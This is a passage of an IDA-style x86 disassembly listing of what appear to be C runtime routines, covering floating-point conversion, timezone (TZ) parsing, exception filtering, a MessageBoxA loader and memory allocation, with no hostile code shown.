E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D328 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D340 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBB20 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DBB48, eax add esp, 18h movsx eax, byte_4DBB22 mov dword_4DBB40, eax pop edi movsx eax, word_4DBB20 mov dword_4DBB44, eax mov dword_4DBB4C, offset dword_4DBB24 mov eax, offset dword_4DBB40 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043CF68o ; ___:0043D7C8o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DBB50 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DBB50 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EBCE9E8h], dl add ah, byte ptr dword_4DBB50[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DBB5035h, 0D7E89000h, 0C3021EBCh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2610000h test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28C0A3Eh test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 2600C00h test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DBC10, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DBC10 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DBB58, ebp mov dword_43D400, ebx mov dword_43D3F0, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DBB60 nop call near ptr 2880000h cmp eax, ebx jz loc_424A44 mov eax, dword_4DBB60 mov ecx, dword_4DBBB4 imul eax, 3Ch cmp word_4DBBA6, bp push 1 pop edx mov dword_43D358, eax mov dword_4DBB58, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43D358, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DBBFA, bp jz short loc_424887 mov eax, dword_4DBC08 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43D35C, edx imul eax, 3Ch mov dword_43D360, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43D35C, ebp mov dword_43D360, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43D3E4 push ebx push offset dword_4DBB64 push edi push dword_4DB9F4 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43D3E4 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43D3E4 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43D3E8 push ebx push offset dword_4DBBB8 push edi push dword_4DB9F4 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43D3E8 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DBC0C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DBC0C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DBC0C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43D3E4 call sub_41B5F0 mov eax, off_43D3E4 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43D358, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43D358 add ecx, eax mov dword_43D358, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43D358 add ecx, eax mov dword_43D358, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43D358, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43D35C, eax jz short loc_424A3C push 3 push esi push off_43D3E8 call sub_41B5F0 mov eax, off_43D3E8 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43D3E8 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43D35C, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43D3F0 jnz short loc_424A7C cmp eax, dword_43D400 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DBB58, edi jz loc_424B54 movzx ecx, word_4DBC06 push ecx cmp word_4DBBF8, di movzx ecx, word_4DBC04 push ecx movzx ecx, word_4DBC02 push ecx movzx ecx, word_4DBC00 push ecx jnz short loc_424ACE movzx ecx, word_4DBBFC push edi push ecx movzx ecx, word_4DBBFE push ecx movzx ecx, word_4DBBFA push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DBBFE push ecx push edi movzx ecx, word_4DBBFA push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DBBB2 add esp, 2Ch cmp word_4DBBA4, di push eax movzx eax, word_4DBBB0 push eax movzx eax, word_4DBBAE push eax movzx eax, word_4DBBAC push eax jnz short loc_424B3C movzx eax, word_4DBBA8 push edi push eax movzx eax, word_4DBBAA push eax movzx eax, word_4DBBA6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DBBAA push eax push edi movzx eax, word_4DBBA6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43D3F4 mov eax, dword_43D404 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43D3F8 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43D408 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43D408[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43D43C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43D40C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43D440[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43D408[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43D43C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43D3F4, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43D3F0, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D3F8, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43D404, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43D360 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43D408, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43D408, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43D408, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43D404, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43D400, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DCEA1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C9B2[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBC14, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0000h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBC14, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBC18, eax call esi mov dword_4DBC1C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DBC18 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DBC1C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBC14 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DCFC8 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DCFC0 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C9A4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DCFC4 nop call near ptr 27C0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB9AC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A 